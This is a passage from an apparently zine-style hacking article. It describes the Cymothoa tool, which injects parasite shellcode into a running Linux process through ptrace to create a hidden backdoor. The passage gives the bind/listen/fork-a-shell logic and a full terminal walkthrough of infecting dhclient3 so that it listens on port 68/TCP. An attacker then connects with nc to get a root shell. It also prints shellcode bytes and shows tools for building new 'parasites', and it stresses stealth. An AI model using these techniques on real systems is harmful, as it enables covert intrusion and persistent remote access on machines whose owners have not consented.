5) Bind socket to the specified port.
6) Socket in listen mode with listen().
7) Check if a client is connected using accept().
7.1) No clients, jump to 9
7.2) Client connected, continue
8) Fork() a child process and execute a shell.
9) Set the timer and resume host execution
(the second half of the preamble)
For this shellcode the provided arguments are a persistent memory
address, the port to listen on and the timer (in seconds).
Finally, let's see a practical example of use.
First, we must identify our host process. We need also to find a door is
not likely to arouse suspicion.
root@victim# lsof -a -i -c dhclient3
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
dhclient3 1232 root 5u IPv4 4555 0t0 UDP *:bootpc
dhclient3 1612 root 4u IPv4 4554 0t0 UDP *:bootpc
Here we can see two dhclient3 processes with port 68/UDP open (bootpc): a
good strategy for our backdoor is to listen on port 68/TCP...
root@victim# ./cymothoa -p 1612 -s 13 -j 1 -y 68
[+] attaching to process 1612
register info:
-----------------------------------------------------------
eax value: 0xfffffdfe ebx value: 0x6
esp value: 0xbfff6dd0 eip value: 0xb7682430
------------------------------------------------------------
[+] new esp: 0xbfff6dcc
[+] injecting code into 0xb7683000
[+] copy general purpose registers
[+] persistent memory at 0xb769f000 (if used)
[+] detaching from 1612
[+] infected!!!
Let's see the result:
root@victim# lsof -a -i -c dhclient3
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
dhclient3 1232 root 5u IPv4 4555 0t0 UDP *:bootpc
dhclient3 1612 root 4u IPv4 4554 0t0 UDP *:bootpc
dhclient3 1612 root 7u IPv4 21892 0t0 TCP *:bootpc (LISTEN)
As you can see it is very difficult to see that something is wrong...
Now the attacker can connect to the victim and get a shell:
root@attacker# nc -vv victim_ip 68
Connection to victim_ip 68 port [tcp/bootpc] succeeded!
uname -a
Linux victim 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
We have achieved our goal: a single process backdoor :)
------[ 6. Something about the injector
In all these examples we always used the injector cymothoa [3].
Some notes about this tool...
The injector is very important because it allows the customization of the
shellcode and its injection in the right areas of memory.
Cymothoa wants to be an aid to developing shellcode, in several ways.
In the payloads directory there are all the assembly sources created by the
author, easily compilable with gcc:
root@box# cd payloads
root@box# ls
clone_shellcode.s fork_shellcode.s
scheduled_backdoor_alarm.s mmx_example_shellcode.s
scheduled_setitimer.s scheduled_alarm.s
scheduled_tail_setitimer.s
root@box# gcc -c scheduled_backdoor_alarm.s
root@box#
Cymothoa includes also some tools to easily extract the shellcode from
these object files.
For example bgrep [6], a binary grep, that allows to find the offset of
of particular hexadecimal sequences:
root@box# ./bgrep e8f0ffffff payloads/scheduled_backdoor_alarm.o
payloads/scheduled_backdoor_alarm.o: 0000014b
This is useful for finding the beginning of the code to extract.
Once you locate the beginning and the length of the code, you can easily
turn it into a C string with the script hexdump_to_cstring.pl.
root@box# hexdump -C -s 52 payloads/scheduled_backdoor_alarm.o -n 291 | \
./hexdump_to_cstring.pl
\x60\x31\xc0\x31\xdb\xb0\x30\xb3\x0e\xeb\x08\x59\x83\xe9\x18\xcd\x80\xeb
\x05\xe8\xf3\xff\xff\xff\xbe\x50\x4d\x45\x4d\x8b\x06\x3d\xef\xbe\xad\xde
\x0f\x84\x81\x00\x00\x00\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xeb\x14\x59\xcd
...
Once this is done you can add this string to the file payloads.h, and
recompile cymothoa, to have a new, ready to inject, parasite.
If you want to transform into parasite code you already have available,
that's the easy way.
The last thing I want to mention about cymothoa, is a little utility
shipped with the main tool: a syscall code generator.
Writing syscall based shellcodes can be a tedious work, especially if
you must remember every syscall number and parameters.
Since I am a lazy person, I've written a script able to do part of
the hard work:
root@box# ./syscall_code.pl
Syscall shellcode generator
Usage:
./syscall_code.pl syscall
For example you can use it to generate the calling sequence for the
open syscall:
root@box# ./syscall_code.pl sys_open
sys_open_call:
# call to sys_open(filename, flags, mode)
xorl %eax, %eax
mov $5, %al
xorl %ebx, %ebx
mov filename, %bl
xorl %ecx, %ecx
mov flags, %cl
xorl %edx, %edx
mov mode, %dl
int $0x80
As you can see the script generates assembly code that marks arguments and
corresponding registers of the syscall, as well as the call number.
The code is not always 100% reliable (e.g. some syscalls require complex
structures the script is not able to construct), but it can greatly speed
up the shellcode development phase.
I hope you'll find it useful...
------[ 7. Further reading
While I was writing this article, on the defcon's website have been
published the talks which will take place during the next edition.
One of these caught my attention [7]:
Jugaad - Linux Thread Injection Kit
"... The kit currently works on Linux, allocates space inside
a process and injects and executes arbitrary payload as a
thread into that process. It utilizes the ptrace() functionality
to manipulate other processes on the system. ptrace() is an API
generally used by debuggers to manipulate(debug) a program.
By using the same functionality to inject and manipulate the
flow of execution of a program Jugaad is able to inject the
payload as a thread."
I recommend all readers who have judged this article interesting, to follow
this talk, because it is a similar research, but parallel to mine.
My goal was to implement a stealth backdoor without creating new processes
or threads, while the research of Aseem focuses on the creation of threads,
to achieve the same level of stealthiness.
I therefore offer my best wishes to Aseem, since I think our works are
complementary.
For additional material on "injection of code" you can see the links
listed at the end of the document.
Bye bye ppl ;)
Greetings (in random order): emgent, scox, white_sheep (and all ihteam),
sugar, renaud, bt_smarto, cris.
------[ 8. Links and references
[0] https://secure.wikimedia.org/wikipedia/en/wiki/Ptrace
[1] http://dl.packetstormsecurity.net/papers/unix/elf-runtime-fixup.txt
[2] http://www.phrack.org/issues.html?issue=58&id=4#article
(5 - The dynamic linker's dl-resolve() function)
[3] http://vxheavens.com/lib/vrn00.html#c42
[4] http://cymothoa.sourceforge.net/
[5] http://www.exploit-db.com/exploits/13388/
[6] http://debugmo.de/2009/04/bgrep-a-binary-grep/
[7] https://www.defcon.org/html/defcon-19/dc-19-speakers.html#Jakhar
------[ EOF
